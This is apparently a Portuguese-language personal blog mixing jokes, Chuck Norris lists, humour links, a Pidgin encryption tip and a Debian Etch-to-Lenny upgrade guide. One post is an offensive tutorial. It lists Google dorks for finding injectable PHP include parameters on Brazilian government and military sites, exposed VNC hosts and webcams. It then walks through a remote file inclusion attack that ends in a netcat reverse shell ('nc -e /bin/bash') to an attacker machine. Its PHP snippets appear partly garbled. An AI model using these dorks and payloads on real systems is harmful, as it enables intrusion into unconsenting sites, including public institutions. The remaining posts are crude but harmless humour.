Inutilidades

Quando você não tem o que fazer... fique testando e veja o que acontece com cada um dos itens quando colocamos no microondas.

http://www.greensock.com/portfolio/MicroManiac/index.html

Qual a idade do seu cérebro ?

http://www.mdig.com.br/index.php?itemid=3672

Vale à pena testar suas habilidades aqui também ^.^

http://www.bulldoido.agressores.com/blocos.htm

=P

Funny!

http://xkcd.com/149/

(...)

Série de coisas inúteis:

http://svt.se/hogafflahage/hogafflaHage_site/Kor/hestekor.swf

Internet Offline

A crise que assolou o mercado de internet é flagrante. Semana passada eu seguia para trabalho e um desses desocupados que distribuem folhetos pela rua me entregou um papel. Era um desenho retangular, todo colorido. Perguntei pro sujeito o que era aquilo e ele me respondeu:

- É um banner.

Nesse papel vinha escrito “Se quiser clicar no banner, olhe pra direita”. Olhei então pra direita e vi um homem carregando uma cartolina com o desenho de um site. Ele gritava “Dábliu, dábliu, dábliu, olha o portal dos jovens! É a interneta!”. Cheguei perto e o camarada me abordou.

- Escolhe uma seção aí, anda.
- Hummm… Me vê “novidades”.

O homem foi e trocou a cartolina. Trouxe uma nova, com uns textos escritos à mão. Não dava pra ler nada. Decidi então mudar de seção.

- Quero ir pro “bate-papo”.
- Certo. Me acompanhe.

O camarada largou a cartolina e entrou num carro. A gente dirigiu durante três horas até um prédio comercial abandonado, em alguma cidade periférica do Rio. Subimos a escada e ele abriu a porta de uma sala, onde várias pessoas sentavam-se numa mesa. O camarada gritou:

- Pedro entra no bate-papo!

Ele me empurrou lá pra dentro e eu, constrangido, encontrei uma cadeira pra sentar. Era um lugar estranho, onde as pessoas conversam umas com as outras sem se olhar. Um cara estava em um canto, virado pra parede, e falava sozinho:

- Alguma gatinha quer tc?

Nisso uma mulher veio falar comigo. Ainda que estivesse sentada atrás de mim, ela fitava o vazio, como uma autista. A garota me disse:

- Eu não entendi, mas ela insistiu.
- Quer tc?
- Sim.
- Como você é?
- I´m big, I´m black and I sing the blues.
- Uau! Quer ver uma foto minha com os peitinhos de fora?
- Sim! Lógico!

E logo quando ela ia me entregando a foto, o camarada da cartolina abriu a porta de supetão. Puxou-me da cadeira, jogou-me dentro do carro e dirigiu de volta pra onde eu o havia encontrado. Quando cheguei lá, perguntei o que houve. Ele me respondeu:

- Sua conexão caiu.

Só uma frase importante...

Todo mundo quer salvar o mundo, mas ninguém quer ajudar a mãe a lavar a louça.

Android vs. IPhone

15 frases ditas antes de morrrer

01. Atira se for homem.
02. Atravessa correndo que dá.
03. Ah, não se preocupe, o que não mata, engorda.
04. Fica tranqüilo que este alicate é isolado.
05. Sabe qual a chance de isso acontecer? Uma em um milhão.
06. Essa camisa do Palmeiras não é minha não….eu sou corintiano como vocês.
07. Adoro essas ruas pois são super tranqüilas.
08. Tem certeza que não tem perigo?
09. Nem acredito que vou saltar de pára-quedas! E, ó, eu mesmo que dobrei!
10. Aqui é o PT-965 decolando em seu primeiro vôo solo.
11. Confie em mim!
12. Aqui é o piloto. Vamos passar por uma ligeira turbulência.
13. Capacete? Imagina, tá calor.
14. Eu sempre mudei a temperatura do chuveiro com ele ligado…
15. Deixa comigo.

Google Hacking

People...

Um tempo atrás tive que ir atrás de umas coisas de Google Hacking para umas aulas.
Estou postando aqui o pouco que consegui de info, mas que pode ajudar depois num PHP Injection... hehehe

Desfrutem ;-)


Google Hacking

O que é?
Essa técnica é a atividade de usar os recursos de busca do site, visando atacar ou melhor proteger as informações de uma empresa.

Podemos fazer uma busca, da seguinte maneira:
intitle:patenha
Ao fazermos essa busca, encontramos referências aos sites que tem em seu título a palavra hakcerteen.

Outro exemplo:
inurl: gov.br
Já nesse exemplo, fazemos buscas a sites que pertençam ao governo brasileiro, ou seja, que tenham a extensão gov.br

allinurl: cartilha.php
Com essa opção, estamos buscando no endereço todos os sites que tem disponíveis para pesquisa ou que estão linkados com o arquivo chamado cartinha.php

site: www.patenha.com.br
Nessa opção, estamos restringindo a busca a apenas esse endereço de site. Então nesse caso, ele procura referências ao link ou a informações somente do site mesmo.

filetype: .php
Quando realizarmos essa pesquisa, ele mostrará todos os sites que contém arquivos com a extensão .php em seus endereços.

Para saber mais informações sobre técnicas que podemos usar para pesquisar, acesse o link:
http://www.google.com.br/help/operators.html

inurl:e-mail filetype:mdb
inurl:@hotmail.com filetype:mdb
Com essa busca, conseguimos arquivos de e-mail em formato mdb (mail database)

inurl: intranet + intext:"telefone"
Essa pesquisa busca telefones que estão disponíveis em intranets diversas que o google consegue localizar.

site:oracle.com -site:www.oracle.com
Com essa pesquisa, conseguimos identificar diversos domínios (conhecidos também como subdomínios) que estão relacionados aos domínios da Oracle.
Outro exemplo:
site:microsoft.com -site:www.microsoft.com
Com essa pesquisa, conseguimos localizar diversos subdomínios relacionados ao site da Microsoft.

Para detectar portas abertas, como por exemplo buscar por uma porta 8080 que está aberta, pode fazer pesquisas da seguinte maneira:
inurl:8080 -intext:8080

Analise o comando abaixo:
intitle:VNC inurl:5800 intitle:VNC
Com esse comando, conseguimos saber hosts que estão com o VNC disponíveis.
Isso não quer dizer que o VNC não está seguro. Isso é apenas uma busca que ajuda a saber hosts com VNC.
Outra maneira que temos de buscar hosts com VNC é com a pesquisa:
intitle:"VNC Viewer for Java"

Encontrando sites que realizam portscan no Google
filetype:php inurl:nqt intext:"Network Query Tool"
Portscan é um software utilizado para verificar as portas abertas em um host remoto.

Podemos até mesmo tentar descobrir uma webcam no google. Para isso, a pesquisa seria assim:
"Active Webcam Page" inurl:8080
Encontrando uma webcam da toshiba:
intitle:"toshiba network camera - User Login"

Podemos também encontrar banners de alguns servidores web. Por exemplo:
"Apache/1.3.20 server at" intitle:index.of

Procurando pelo painel de controle do asterisk, através de uma interface flash. A pesquisa ficaria assim:
intitle:"Flash Operator Panel" -ext:php -wiki -cms -inurl:as

Podemos tentar fazer pesquisas para buscar senhas de servidor de Counter Strike:
inurl:server.cfg rcon password

PHP Inject

Aprendemos todas essas maneiras de pesquisar na web, porque vamos ver um assunto muito interessante e muito aplicado no mundo underground. O PHP Injection.

Essa é uma falha que muitos ADMs cometem. Porque quando eles instalam servidores de e-mail padrões, com suporte a PHP e não verificam as vulnerabilidades, podem ter problemas.
Então, podemos usar as pesquisas no google para analisar sites em PHP, que através de palavras padrões que são usadas na configuração, é possível verificar se tem um falha que permita o uso do PHPInject.

Para isso, vamos fazer pesquisas por palavras comuns e importantes, como adm, inc e body em sites brasileiros. Por exemplo:
allinurl:".php?adm=" site:.gov.br
allinurl:".php?inc=" site:.gov.br
allinurl:".php?body=" site:.gov.br (talvez não encontre nenhum resultado)

Podemos fazer pesquisas poe palavras como main, pag, page e pagina, em sites militares, por exemplo:
allinurl:".php?main=" site:.mil.br (talvez não encontre nenhum resultado)
allinurl:".php?pag=" site:.mil.br
allinurl:".php?page=" site:.mil.br
allinurl:".php?pagina=" site:.mil.br (talvez não encontre nenhum resultado)

*****
Mais uma maneira de pesquisar por palavras chaves em sites militares brasileiros:
allinurl:".php?content=" site:.mil inurl:br (talvez não encontre nenhum resultado)
allinurl:".php?cont=" site:.mil inurl:br (talvez não encontre nenhum resultado)
allinurl:".php?var=" site:.mil inurl:br (talvez não encontre nenhum resultado)
*****

Podemos fazer uma pesquisa por palavras simples também:
allinurl:".php?meio="
allinurl:".php?produto="
allinurl:".php?cat="

Pesquisas por palavras chaves:
allinurl:".php?site="
allinurl:".php?do="
allinurl:".php?content="

Mais palavras chaves:
allinurl:".php?admin="
allinurl:".php?adm="
allinurl:".php?root="

Buscando scripts em perl em um site:
filetype:pl site:dominio.com.br
filetype:pl site:uol.com.br
filetype:pl site:terra.com.br

Explorando a Falha PHP Injection
Os testes foram feitos em uma máquina RedHat 7.3 com servidor web Apache versão 1.3.23-11 e PHP versão 4.1.2-7
No diretório /var/www/html do servidor Apache, é onde ficam os documentos que vão ser publicados. E dentro desse arquivo, estavam criados os arquivos index.php teste.php e teste1.php

O arquivo index.php tinha o seguinte conteúdo:
phpinfo ();
?>

O arquivo teste.php tinha o seguinte conteúdo:
include (\teste1.php");
?>

Conteúdo do arquivo teste1.php:
echo \

Conteudo.INC

";
?>

No arquivo teste1.php estamos usando a função include. Essa função permite incluir o arquivo inteiro dentro de uma página já pronta e também permite fazer inclusões remotas.
O meu servidor web está no IP 192.168.0.160 então no navegador coloquei a linha:
http://192.168.0.160/teste.php

E quando digitei isso, apareceu:
Conteudo.INC

Depois, criei em /var/www/html um arquivo chamado teste2.php que continha o seguinte conteúdo:
include ($base);
?>

Depois, novamente no navegador, coloquei o seguinte endereço:
http://192.168.0.160/teste2.php?base=/etc/issue

Com essas informações, obtive a seguinte linha:
Red Hat Linux release 7.3 Evaluation (Valhalla) Kernel \r on an \m

Outro objetivo agora é obter o shell na máquina da vítima. O passo mais comum é obtê-la usando o auxílio do netcat, ou o nc.

Primeiramente, vamos no diretório /var/www/html e criar o arquivo comando2.php. O conteúdo dele é:
passthru (\$cod");
?>

A função do passthru é executar comando. Então agora poderá ser passado para a variável cod qualquer comando que o usuário apache (usuário comum) tenha permissão de executar.

Então, vamos testar se existe o comando no servidor alvo:

http://192.168.0.160/teste2.php?base=http://192.168.0.161/comando2.php&cod=which%20nc

Se existir, a seguinte saída irá aparecer:
/usr/bin/nc

Novamente, criamos um arquivo comando3.php com o seguinte conteúdo:
passthru (\nc -e /bin/bash 192.168.0.x 666");
?>

E por fim, validamos o conteúdo do comando3.php no navegador:
http://192.168.0.160/teste2.php?base=http://192.168.0.161/comando3.php

Depois disso, o sistema já está comprometido. Basta apenas tentar obter os privilégios de root.

E depois que o comando nc já está no diretório /tmp do servidor da vítima, então já temos permissão de execução. Sendo assim, podemos usar o comando para enviar um shell do servidor para sua máquina, como se fosse um acesso remoto mesmo. E então podemos abrir a porta 666 na máquina e aguardar o envio de shell:

nc -l -vv -p 666

Após isso, conseguimos executar comandos via browser, como por exemplo:

http://192.168.0.160/teste2.php?base=http://192.168.0.161/comando2.php&cod=ls%20-la
Com esse comando, conseguimos listar os arquivos do servidor.

E pronto, agora basta executarmos os comandos que forem necessários!

Conversa Segura

Hoje em dia é bacana você procurar sempre uma ferramenta segura para conversar, até mesmo porque, nunca se sabe quando estão monitorando ou não a sua conversa.
Uma das opções muito interessantes para quem usa Linux e até para Windows, existe uma ferramenta chamada Pidgin para comunicação (antigamente era conhecida como Gaim). Essa ferramenta é muito interessante, porque você pode configurar várias contas de email diferentes e manter todas elas conectadas na mesma ferramenta!

Link: http://www.pidgin.im/

Depois que instalar essa ferramenta, existe um pacote chamado pidgin-encryption, que você pode instalar (para quem tem linux).
# aptitude install pidgin-encryption
Quando instala esse pacote, aparece um cadeado em cada janela de conversa. Se você escolher a opção "Enable Encryption" sua conversa passará a ser criptografada.

Fiz um teste pra saber se realmente funciona. Cadastrei minha conta do gmail no Pidgin, e abri o gtalk ao mesmo tempo. Conectei no Pidgin e comecei a falar com uma pessoa, criptografando a conversa. E na janela direta do chat do gmail a conversa aparecia critpgrafada ;-)

Ah, falando de outra ferramenta que eu uso bastante, é o Skype! Ele usa criptografia por padrão ^.^

Seu site de busca

Um pouco bobo, mas gosto dessas coisas... =P

No link abaixo, dá pra você criar sites de busca com o nome que você desejar e a fonte que você achar mais bacana!

http://www.funnylogo.info/create.asp

Desfrute!! ;-)

Google Trends

Hoje vi uma coisa que me chamou a atenção no Google... esse tal de Google Trends é interessante!!
Você pega duas palavras para fazer um comparativo com a quantidade de pesquisas sobre elas, por exemplo: As pesquisas são maiores pela palavra Windows ou pela palavra Linux?

Vamos fazer o teste:

http://www.google.com.br/trends

Coloque como: windows,linux

E mostrará um gráfico, com uma comparação das pesquisas e ainda com links de notícias relacionados a alguns "picos" de pesquisa.

Muito bacana! ^.^

Piada: Trato é trato

Mais de meio século de harmonia total naquele casamento.
Daí ele morre e, não demora muito, ela também vai para o céu.
Lá encontra o marido e corre até ele:
- Queriiiiidoooooo! Que bom te reencontrar... estava morrendo de
saudades!
- Não vem não, assombração!
O trato foi: ATÉ QUE A MORTE NOS SEPARE. AGORA VAZA!!!!!!

Piada: E-mail

Um casal decide passar férias numa praia do Caribe, no mesmo hotel onde,
passaram a lua-de-mel 20 anos atrás. Por problemas de trabalho, a mulher
não pôde viajar com seu marido,deixando para ir uns dias depois.
Quando o homem chegou e foi para seu quarto do hotel, viu que havia um
computador com acesso à internet, então decidiu enviar um e-mail a sua
mulher, mas errou uma letra sem se dar conta e o enviou a outro
endereço...
O e-mail foi recebido por uma viúva que acabara de chegar do enterro de
seu marido e que, ao conferir seus e-mails desmaiou instantaneamente.
O filho, ao entrar em casa, encontrou sua mãe desmaiada perto do
computador, que na tela poderia se ler:
'Querida esposa, cheguei bem. Provavelmente se surpreenda em receber
notícias minhas por e-mail, mas, agora tem computador aqui e pode-se
enviar mensagens às pessoas queridas. Já me certifiquei de que está tudo
preparado para a sua chegada na sexta feira que vem. Não vejo a hora de te ver e
espero que sua viagem seja tão tranqüila como foi a minha.'
OBS: Não traga muita roupa, porque aqui faz um calor infernal!!!

Interessante: Chapeuzinho Vermelho

A História de 'Chapeuzinho Vermelho' na imprensa brasileira. Seria mais ou menos assim:

JORNAL NACIONAL
(William Bonner): 'Boa noite. Uma menina chegou a ser devorada por um lobo
na noite de ontem...'.
(Fátima Bernardes): '... mas a atuação de um caçador evitou uma tragédia'.

PROGRAMA DA HEBE
(Hebe Camargo): '... que gracinha gente. Vocês não vão acreditar, mas essa
menina linda aqui foi retirada viva da barriga de um lobo, não é mesmo?'

BRASIL URGENTE
(Datena): '... onde é que a gente vai parar, cadê as autoridades? Cadê as autoridades?! A menina ia para a casa da vovozinha a pé! Não tem transporte público! Não tem transporte público! E foi devorada viva... Um lobo, um lobo safado. Põe na tela!! Porque eu falo mesmo, não tenho medo de lobo, não tenho medo de lobo, não. 'Nem que tenha saido do Circo do PT '

REVISTA VEJA
Lula sabia das intenções do lobo.

REVISTA CLÁUDIA
Como chegar à casa da vovozinha sem se deixar enganar pelos
lobos no caminho.

REVISTA NOVA
Dez maneiras de levar um lobo à loucura na cama.

FOLHA DE S. PAULO
Legenda da foto: 'Chapeuzinho, à direita, aperta a mão de seu salvador'.
Na matéria, box com um zoólogo explicando os hábitos dos lobos e um imenso
infográfico mostrando como Chapeuzinho foi devorada e depois salva pelo
lenhador.

O ESTADO DE S. PAULO
Lobo que devorou Chapeuzinho seria filiado ao PT.

O GLOBO
Petrobrás apóia ONG do lenhador ligado ao PT que matou um lobo pra salvar
menor de idade carente.

ZERO HORA
Avó de Chapeuzinho nasceu no RS.

AGORA
Sangue e tragédia na casa da vovó

REVISTA CARAS
(Ensaio fotográfico com Chapeuzinho na semana seguinte)
Na banheira de hidromassagem, Chapeuzinho fala a CARAS: 'Até ser
devorada,eu não dava valor para muitas coisas da vida. Hoje sou outra
pessoa' ' Se converti e agora freqüento a Universal '

PLAYBOY
(Ensaio fotográfico no mês seguinte)
Veja o que só o lobo viu.

REVISTA ISTO É
Gravações revelam que lobo foi assessor de político influente do PT.

G MAGAZINE
(Ensaio fotográfico com lenhador)
Lenhador mostra o machado

SUPER INTERESSANTE
Lobo Mau! mito ou verdade ?

DISCOVERY CHANNEL
Vamos determinar se é possível uma pessoa ser engolida viva e sobreviver.

Piada: A revolta da Loira

Durante uma apresentação teatral, um ventríloquo e seu boneco Zequinha
contavam todo o seu repertório de piadas de loiras. De repente, uma loiraça
linda se levantou na platéia e começou a discursar:
- Já ouvi o suficiente das suas piadas denegrindo as loiras, seu idiota!!! O
que o faz pensar que pode estereotipar as LOIRAS desse jeito? O que tem a
ver os atributos físicos de uma pessoa com o seu valor como ser humano?
São
idiotas como você que impedem que as mulheres sejam respeitadas no trabalho
e na comunidade, nos impedindo de alcançar o pleno potencial. Por sua causa
e por causa das pessoas da sua laia, perpetua-se a discriminação, não só
contra as loiras, mas contra as mulheres em geral.. tudo em nome desse
pseudo-humor...

Perplexo e envergonhado, o ventríloquo começou a se desculpar:
- Minha senhora, não foi essa a minha intenção...

E a loira, em tom raivoso, interrompe:
- Fique fora disso, meu senhor! Eu estou falando com esse baixinho idiota
que está sentado no seu colo!

Upgrade de Debian Etch para Lenny

Escutei uns comentários que dar um upgrade do Debian Etch para o Lenny
era uma coisa bem simples... então resolvi arriscar, hehe
Bom , o primeiro passo foi formatar a máquina mesmo (já estava enrolando
pra fazer isso), criar as partições e fazer toda a instalação do sistema
operacional base. Deixei o sistema de arquivos como ext3 mesmo... e pronto!

Depois então, configurei a rede pra pegar os pacotes de um mirror externo,
e editei o arquivo /etc/apt/sources.list, e coloquei as seguintes linhas
que peguei da wiki do próprio Debian:

#mirrors oficias
deb ftp://ftp.br.debian.org/debian/ etch main contrib non-free
deb http://linorg.usp.br/debian/ etch main contrib non-free

O próximo comando foi o:
# aptitude update

Esse comando irá atualizar o novo mirror que você está apontando.

Depois, editei novamente o /etc/apt/sources.list e troquei somente as
 palavras etch para lenny, as linhas então ficaram:
#mirrors oficias
deb ftp://ftp.br.debian.org/debian/ lenny main contrib non-free
deb http://linorg.usp.br/debian/ lenny main contrib non-free

Novamente, um # aptitude update para atualizar.

Em seguida, usei o comando:
# aptitude dist-upgrade

Demora um pouco, mas ele faz toda a atualização... até mesmo de um
kernel 2.6.18 que estava com o etch r1, com o lenny ele foi para 2.6.24

Por fim, usei o # reboot, só para garantir que tudo iria reiniciar
normalmente e pronto! No Grub, ele já irá mostrar a nova opção para boot!

Desfrute! ;-)

Logotipo das Olimpíadas da China

Piada: Sexóloga Estressada o.O

01 - Tenho 20 anos e não transei ainda porque gostaria que a 1ª vez fosse com um namorado fixo. O que você acha?
R: Minha 1ª vez também foi com um namorado fixo. Eu o amarrei na cama.

02 - O que fazer para surpreender um namorado tímido na primeira noite?
R: Apareça com um amante.

03 - Tenho um amigo que quer fazer sexo comigo, mas ele tem um pênis de 24cm Acho que vai ser doloroso, o que faço?
R: Manda pra cá que eu testo pra você.

04 - Como faço para seduzir o rapaz que eu amo?
R: Tire a roupa! Se ele não te agarrar, cai fora que é gay.

05 - Terminei com meu ex porque ele é muito galinha e agora estou com outro. Mas ainda gosto do ex e às vezes ainda fico com ele! O que devo fazer?
R: Quem é mesmo galinha nesta história?

06 - Quero saber como enlouquecer meu namorado só nas preliminares.
R: Diga no ouvidinho dele: 'minha menstruação está atrasada...'

07 - Como usar a criatividade em uma transa no banheiro?
R: Já usou desentupidor de pia?

08 - Saí com um gatinho e foi ótimo. Só que agora fico com o maior medo de ligar para ele. Será que devo?
R: Depende. O gatinho sabe cagar na caixa de areia?

09 - Sou feia, pobre e chata. O que devo fazer para alguém gostar de mim?
R: Ficar bonita, rica e ser legal. Obviamente.

10 - O cara com quem estou saindo é muito legal, mas está dando sinais de ser alcoólatra. O que eu faço?
R: Não deixe ele dirigir.

11 - Por que, na hora do sexo, quando a gente está no vai e vem, na hora em que o corpo entra em atrito e faz aquele barulho de quem está batendo palmas, a gente fica mais excitada?
R: É porque parece que tem torcida, tá ligada? Da próxima vez grite pra galera.

12 - Apesar do meu tamanho, eu tenho apenas 13 anos de idade e não tenho uma cara propriamente linda. O que fazer para
conseguir comer umas gatas.
R: Nesta idade você tem que comer Sucrilhos, entende?

13 - Tenho 28 anos e sou virgem, não agüento mais esta situação.. Como mudá-la o mais rápido possível?
R: Está em Porto Alegre? Vai na Voluntários da Pátria (rua de prostitutas) e leve uns 30 reais. Caso contrário trate de virar
líder da LOC ou do MST.

14 - Sou virgem e rolou, pela primeira vez de fazer sexo oral. Terminei engolindo o negócio e quero saber se corro o risco de
ficar grávida.. Estou desesperada!
R: Claro que corre o risco de ficar grávida. E a criança vai sair pelo seu ouvido, ou pelo anus.

15-A 1a. vez dói? Tenho 21 anos e ainda não transei porque tenho medo de doer e não agüentar.
R: Dói tanto que você vai ficar em coma e NUNCA mais vai levantar. Vê se deixa de ser fresca, e dá de uma vez, ô Cinderela!!!

16- Posso tomar anticoncepcional com diarréia?
R: Eu tomo com água, mas a opção é sua. Espero que use copo descartável.

Frases: Como sempre, o Chuck Norris...

1 - As lágrimas do Chuck Norris curam o câncer. O problema é que ele é tão
macho que não chora nunca. Nunca!

2 - Chuck Norris não dorme. Ele espera.

3 - Chuck Norris está atualmente processando a NBC. Ele alega que "Lei e
Ordem" são os nomes patenteados para suas pernas ("Lei" a esquerda,
"Ordem" a direita).

4 - Se você pode ver Chuck Norris, ele pode ver você. Se não pode ver
Chuck Norris, você pode estar perto da morte.

5 - Chuck Norris contou até o infinito. Duas vezes.

6 - A última página do Guiness (livro dos recordes) diz em letras miúdas:
"Todos os recordes do mundo pertencem a Chuck Norris. Nós apenas
nos damos o trabalho de listar os segundos colocados em cada categoria."

7 - A Grande Muralha da China foi originalmente construída pra impedir
a entrada de Chuck Norris naquele país. Ela falhou miseravelmente.

8 - Se você perguntar ao Chuck Norris que horas são, ele sempre dirá,
"Dois segundos até..." Depois de você perguntar "Dois segundos até o
quê?" ele dará um roundhouse kick na sua cara.

9 - Chuck Norris vendeu sua alma ao diabo para ter seu visual bacana
e suas habilidades incomparáveis de artes marciais. Pouco tempo
depois da transação terminar, Chuck Norris deu um roundhouse kick na
cara do diabo e pegou sua alma de volta. O diabo, que aprecia ironia,
não conseguiu ficar bravo e admitiu que deveria ter previsto isso. Eles
agora jogam poker todas as segundas quartas-feiras de cada mês.

10 - Chuck Norris uma vez comeu 72 Kg de carne em uma hora. Ele
passou os primeiros 45 minutos fazendo sexo com a garçonete.

11 - Quando Chuck Norris recebe os impostos, ele manda de volta folhas
brancas com uma foto dele agachado, pronto para atacar. Chuck Norris
não teve que pagar impostos nunca. Nunca!

12 - Chuck Norris era um dos personagens originais do jogo "Street
Fighter II". Ele só foi removido porque todos os botões faziam ele dar
um roundhouse kick. Quando perguntaram sobre essa falha do jogo,
Chuck Norris respondeu: "Que falha do jogo?"

13 - Chuck Norris tem duas velocidades: Andar e Matar.

14 - Uma vez Chuck Norris comeu um bolo inteiro antes que seus amigos
pudessem lhe contar que havia uma stripper dentro.

15 - Wilt Chamberlein declarou já ter dormido com mais de 20.000 mulheres
em toda sua vida. Chuck Norris chama isso de uma "terça-feira monótona".

16 - Quando Deus disse "Que se faça a luz!", Chuck Norris falou "Diga 'por
favor'."

17 - Uma vez Chuck Norris desceu a rua com uma ereção massiva. Não
houve sobreviventes.

18 - Chuck Norris não lê livros, ele os encara até conseguir toda a informação
que precisa.

19 - Chuck Norris jogou roleta russa com um revólver totalmente
carregado e ganhou.

20 - Chuck Norris não tem um forno ou microondas, pois, como todo
mundo sabe, "a vingança é um prato que se come frio."

21 - Chuck Norris pediu um Big Mac no Bob's. Ele foi atendido.

22 - Algumas pessoas usam uniforme do Superman. Já o Superman
usa uniforme de Chuck Norris.

23 - Não existe queixo por trás da barba de Chuck Norris, apenas outro
punho.

24 - Chuck Norris só passa as noites com a luz acesa. Não, Chuck Norris
 não tem medo do escuro, mas a recíproca não é verdadeira.

25 - Certa vez Chuck Norris deu um roundhouse kick tão rápido que
quebrou a velocidade da luz, voltou no tempo e atingiu um navio chamado
Titanic.

26 - Uma vez Chuck Norris desafiou o ciclista Lance Armstrong para ver
quem tinha mais testículos. Chuck Norris ganhou por 5.

27 - Armas não matam. O que mata é Chuck Norris

28 - Chuck Norris uma vez tomou um vidro inteiro de pílulas para
dormir. Elas fizeram ele piscar.

29 - Chuck Norris é a razão por que o Wally (do livro "Onde está Wally?")
se esconde.

30 - Chuck Norris pode dividir por zero.

31 - Hiroshima e Nagasaki nunca viram uma bomba atômica. Chuck Norris
comeu um sushi estragado e deu um arroto por lá. Foi só isso.

32 - Cientistas estimaram que a explosão de uma galáxia libera energia
equivalente a 1 CNRhK (ou seja, um Chuck Norris's Roundhouse Kick).

33 - Chuck Norris pode tocar no MC Hammer (autor da música "U Can´t
Touch This").

34 - Quando Chuck Norris faz flexões, ele não levanta o próprio peso. Ele
empurra o planeta.

35 - Chuck Norris venceu o Campeonato Mundial de Poker com um dois
de paus e uma carta "Saída Livre da Prisão" do Banco Imobiliário.

36 - Deus precisava de 10 dias para construir o mundo. Chuck Norris deu
a ele 6 e olhe lá.

37 - Ozzy Osbourne morde cabeças de morcegos. Chuck Norris morde
cabeças de Ozzy Osbournes.

38 - O título original para Star Wars era "Skywalker: Texas Ranger",
estrelando Chuck Norris.

39 - Chuck Norris recusou o papel porque se ele usasse "a força",
Darth Vader falaria fino para o resto da vida.

40 - Chuk Norris não tem casa. Ele escolhe uma casa e seus
moradores se mudam.

41 - Os dinossauros olharam torto para Chuck Norris uma vez. Uma vez.

42 - Quando o Bicho Papão vai dormir, ele deixa a luz acesa
com medo de Chuck Norris.

43 - Se você errar algum dia, obviamente você não é Chuck Norris.

44 - Se Chuck Norris se atrasar, é melhor o tempo andar mais devagar.

45 - Chuck Norris perdeu a virgindade antes do pai.

46 - Antes de esquecer um presente de Chuck Norris, Papai Noel
existia.

47 - Uma imagem vale mais que mil palavras. Chuck Norris vale mais
que um milhão de imagens.

48 - Chuck Norris não compra manteiga. Ele dá roundhouse kicks nas
vacas e elas viram manteiga.

49 - Quando urina, Chuck Norris pode facilmente perfurar titânio.

50 - Chuck Norris não faz a barba, ele dá um roundhouse kick na
própria cara. Afinal, a única coisa que pode cortar Chuck Norris é...
Chuck Norris.

51 - As Tartarugas Ninja são baseadas numa história real. Uma vez
Chuck Norris estava mascando um casco de tartaruga (ele adora!)
e, quando foi ao banheiro, fez uma tartaruga falante de 1,80m
que sabia caratê.

52 - Chuck Norris inventou a cesariana quando deu um roundhouse
kick para sair da barriga de sua mãe.

53 - Para algumas pessoas, o testículo esquerdo é maior que o
direito. Para Chuck Norris, cada testículo é maior que o outro.

54 - Ao responder as questãoes de uma prova, escreva sempre
"Chuck Norris". Você vai sempre tirar nota 10.

55 - Chuck Norris inventou o preto. Na verdade, ele inventou todas
as cores conhecidas. Exceto o rosa. Tom Cruise inventou essa.

56 - Chuck Norris tem 12 luas. Uma deles se chama Terra.

57 - Chuck Norris não tem cafeteira. Ele mói café com os dentes
e ferve a água com sua fúria.

58 - Se você procurar no Google por "Chuck Norris levando muita
 porrada", não encontrará nenhum documento correspondente.
É claro. Isso nunca aconteceu.

59 - Chuck Norris leva vinte minutos para passar uma hora.

60 - O Triângulo das Bermundas era um quadrado até Chuck Norris
 dar um roundhouse kick em um dos cantos.

61 - Chuck Norris não acredita em duendes.

62 - Se "O Exterminador do Futuro" fosse com Chuck Norris, ele
seria um documentário.

63 - Uma vez um urso atravessou o caminho de Chuck Norris. O
trauma foi tão grande que o animal fugiu para o Ártico e ficou
cheio de cabelos brancos. Surgiu então o urso-polar.

64 - Quando bate palmas, Chuck Norris pode transformar carvão
em diamantes. E vice-versa.

65 - Chuck Norris inventou o sexo, as drogas e o rock n' roll.
Nessa ordem.

66 - A maioria das pessoas tem 23 pares de cromossomos.
Chuck Norris tem 72. Todos venenosos.

67 - Não existiam mesmo armas de destruição em massa no Iraque.
Chuck Norris mora em Oklahoma.

68 - Um estudo revelou que as três maiores causas de morte nos
Estados Unidos são: infartos, câncer e Chuck Norris. Não
necessariamente nessa ordem.

69 - Chuck Norris recentemente teve a idéia de vender sua urina
enlatada. Chama-se "Red Bull".

70 - 98% das mulheres americanas perderam sua virgindade com
 Chuck Norris. 2% das mulheres americanas são da família Norris.

71 - O nome original da Bíblia era "Chuck Norris and Friends".

72 - Chuck Norris inventou a internet. Tudo para guardar seu
 acervo pornográfico.

73 - Quando Bruce Banner fica irado, ele se transforma no Hulk.
Quando o Hulk fica irado, ele se transforma em Chuck Norris.

74 - O título original de "Alien vs. Predador" era "Alien e Predador
vs. Chuck Norris". O filme foi cancelado porque ninguém pagaria
para ver um filme de 14 segundos.

75 - Chuck Norris não usa relógio. Ele decide que horas são.

76 - 70% do corpo humano é água. 70% do corpo de Chuck Norris
 é seu pênis.

77 - Papel vence pedra, pedra vence tesoura e tesoura vence
papel. Chuck Norris vence os três. Ao mesmo tempo.

78 - Chuck Norris entrou para o Clube da Luta. O Clube perdeu.

79 - Quando Chuck Norris joga War, George Bush se esconde
debaixo da cama.

80 - Chuck Norris dorme (digo... espera) com um travesseiro
debaixo da arma.

81 - Godzilla é a versão japonesa da primeira visita de Chuck
Norris ao Japão.

82 - Quando Arnold Schwarzenegger disse "I'll be back", foi para
pedir ajuda a Chuck Norris.

83 - Chuck Norris não segue tendências. As tendências seguem
Chuck Norris. Aí então, as tendências acabam. Afinal, ninguém
segue Chuck Norris impunemente.

84 - Chuck Norris não usa sal de frutas. Ele usa antraz.

85 - Chuck Norris nunca vai morrer de ataque cardíaco. Seu
coração não é tolo o bastante para "atacar" Chuck Norris.

86 - Chuck Norris sabe qual é o último algarismo do pi.

87 - Quando Chuck Norris quer comer um ovo, ele quebra a
galinha.

88 - Depois das Tsunamis, Chuck Norris prometeu que não vai
mais lavar suas havaianas no mar.

89 - No primeiro "Parque dos Dinossauros" o Tiranossauro Rex
não estava perseguindo o jipe. Chuck Norris estava perseguindo
o Tiranossauro. E o jipe.

90 - No antigo oriente existia a lenda de que numa noite de lua
cheia, uma criança nasceria de um dragão, se alimentaria das
chamas sagradas, se transformaria em um bravo guerreiro e livraria
a Terra de todo o mal. Esse homem não é Chuck Norris porque
Chuck Norris matou esse homem.

91 - Tudo que Midas tocava virava ouro. Tudo que Chuck
Norris toca vira adubo. Incluindo Midas.

92 - O pulso de Chuck Norris é medido na Escala Richter.

93 - Uma vez Chuck Norris mijou num isqueiro. Nascia o lança-chamas.

94 - Em "O Vôo do Dragão", Bruce Lee dá uma surra em Chuck Norris.
Quando desligaram as câmeras, Chuck Norris matou Bruce Lee.
Chuck Norris detesta ficção.

95 - Chuck Norris não tem sangue. Ele tem magma.

96 - Mistério na ilha de "Lost"? Chuck Norris.

97 - Chuck Norris só come duas coisas no café da manhã: Steven
Segal e Vin Diesel.

